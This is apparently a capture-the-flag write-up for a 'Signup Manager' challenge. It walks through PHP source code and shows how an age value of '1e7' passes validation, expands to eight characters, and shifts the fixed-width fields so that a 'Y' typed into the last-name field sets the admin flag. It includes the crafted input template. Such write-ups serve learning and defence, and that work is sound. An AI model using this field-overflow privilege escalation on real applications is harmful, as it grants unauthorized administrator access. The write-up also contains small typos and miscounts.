Grinch-Networks CTF Writeup Flag 10
You’ve made it this far! The grinch is recruiting for his army to ruin the holidays but they’re very picky on who they let in!
Signup-Manager

This challenge was my absolutely favorite one! There is not much to talk about the page source or the action we can do. Basically there are two forms. On the left site a login form and on the right site a Sign-up form. I have created a user, just to check the logic of the web application.

There was nothing special in the Users Area. So lets have a look on the page source of the index file.
<!-- See README.md for assistance -->
No way. In the very first line of the page source, there was a note telling us we need to check the README.md for mor information. Okay, so let’s check whats in there.
# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password
I think we are on the right track. Before testing the default admin credentials we should download the ZIP, unzip it and check whats in there.
curl -v https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip -o signupmanager.zip
total 32K
drwxr-xr-x 2 tippexs tippexs 4.0K Dec 28 00:41 .
drwxr-xr-x 7 tippexs tippexs 4.0K Dec 27 23:06 ..
-rw-rw-r-- 1 tippexs tippexs 720 Dec 21 15:36 admin.php
-rw-rw-r-- 1 tippexs tippexs 4.1K Dec 21 15:35 index.php
-rw-rw-r-- 1 tippexs tippexs 712 Nov 16 09:42 README.md
-rw-rw-r-- 1 tippexs tippexs 3.6K Dec 21 15:33 signup.php
-rw-rw-r-- 1 tippexs tippexs 718 Dec 21 15:35 user.php
Lets try the default user and password. It is still working but it looks like the admin user is no longer an admin user.
Is the user.txt accessable? No.
I think we have to check the source code to drive a whitebox approach. After reviewing all files the most important one is index.php. It includes the main logic of the signup and what page content should be displayed.
I will share the most important parts of the script I have looked at. So first I noticed there is no database. All information will be stored in a text file. All fields have a fixed length to make it easy to read them from the text file. In case a string was not as long as its maximum the remaining characters are filled up with hash signs. So far so good. The last character of each user line indicates if this user is an administrator or not (Y|N). It is not an accident that this character is at the end of the line.
We need to find a saving a user into the file where the last character is a Y. Means we need to move or enlarge at least one field. So what do we have. Field by field:
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
Everything before the password does not help as it is a MD5-Hash. MD5s are always 32 characters long. The next field is a random_hash. Another MD5. Fixed to 32 characters. No chance here. So lets have a look on age. Age has a maximum of three. Let’s check the functions call for addUser to check where the $age is comming from.
if ($_POST["action"] == 'signup' && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
$username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
if (strlen($username) < 3) {
$errors[] = 'Username must by at least 3 characters';
} else {
if (isset($all_users[$username])) {
$errors[] = 'Username already exists';
}
}
$password = md5($_POST["password"]);
$firstname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["firstname"]), 0, 15);
if (strlen($firstname) < 3) {
$errors[] = 'First name must by at least 3 characters';
}
$lastname = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["lastname"]), 0, 15);
if (strlen($lastname) < 3) {
$errors[] = 'Last name must by at least 3 characters';
}
if (!is_numeric($_POST["age"])) {
$errors[] = 'Age entered is invalid';
}
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
$age = intval($_POST["age"]);
if (count($errors) === 0) {
$cookie = addUser($username, $password, $age, $firstname, $lastname);
setcookie('token', $cookie, time() + 3600);
header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
exit();
}
}
Lets pick out the age section
if (!is_numeric($_POST["age"])) {
$errors[] = 'Age entered is invalid';
}
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
$age = intval($_POST["age"]);
I am a PHP developer for more then 12 years and if I have learned one thing then that PHP is evil when it comes to functions like is_numeric or intval. I checked the PHP documentation as I could remember some very strange behavior.
Reference php.net(https://www.php.net/manual/en/function.is-numeric.php)
is_number(12); // true
is_number(-12); // true
is_number(-12.2); // true
is_number("12"); // true
is_number("-124.3"); // true
is_number(0.8); // true
is_number("0.8"); // true
is_number(0); // true
is_number("0"); // true
is_number(NULL); // false
is_number(true); // false
is_number(false); // false
is_number("324jdas32"); // false
is_number("123-"); // false
is_number(1e7); // true
is_number("1e7"); // true
is_number(0x155); // true
is_number("0x155"); // false
So in reference to this table a value 1e7 is numeric! So whats the intval of it? I have tested it with an interactive php shell on my laptop:
php > var_dump(is_numeric(1e7));
bool(true)
php > var_dump(is_numeric('17'));
bool(true)
php > var_dump(is_numeric('demo'));
bool(false)
php > var_dump(is_numeric('1e7'));
bool(true)
php >
php > echo intval('1e7');
10000000
php > echo intval(1e7);
10000000
intval will transform 1e7 into 10000000. Checking the code there is this str_pad function str_pad( $age,3,"#");. So what is this doing with our age of 1000000?
php > str_pad(10000000,3,'#');
php > echo sd(10000000,3,'#');
10000000
NOTHING! I does nothing with our new age! This is our vulnerability. The next two inputs are name and lastname. Both with 15 characters each. I created a small template happy to share:
10000000ABCABCABCABCABCABCABCABCAY
AGEFIRSTNAMEXXXXXXLASTNAMEXXXXXXXA
The Age was originally 3 characters long. It is now 5 characters longer. So adding the firstname with 15 characters means we should be able to set the character Y at the 11th position of the lastname. Thats what I have done and the result was:

This was my most favorite challenge! And as you can see I have not used any fancy hacking tool or something similar. Just very basic things to prove different php functions output. After this one I was quite interested in challenge number 11. Not aware that this will become a nightmare! A 20 hours non stop hacking challenge that will need EVERYTHING myself and many other know! Grep a coffee or beer for the next write-up! Welcome to hell!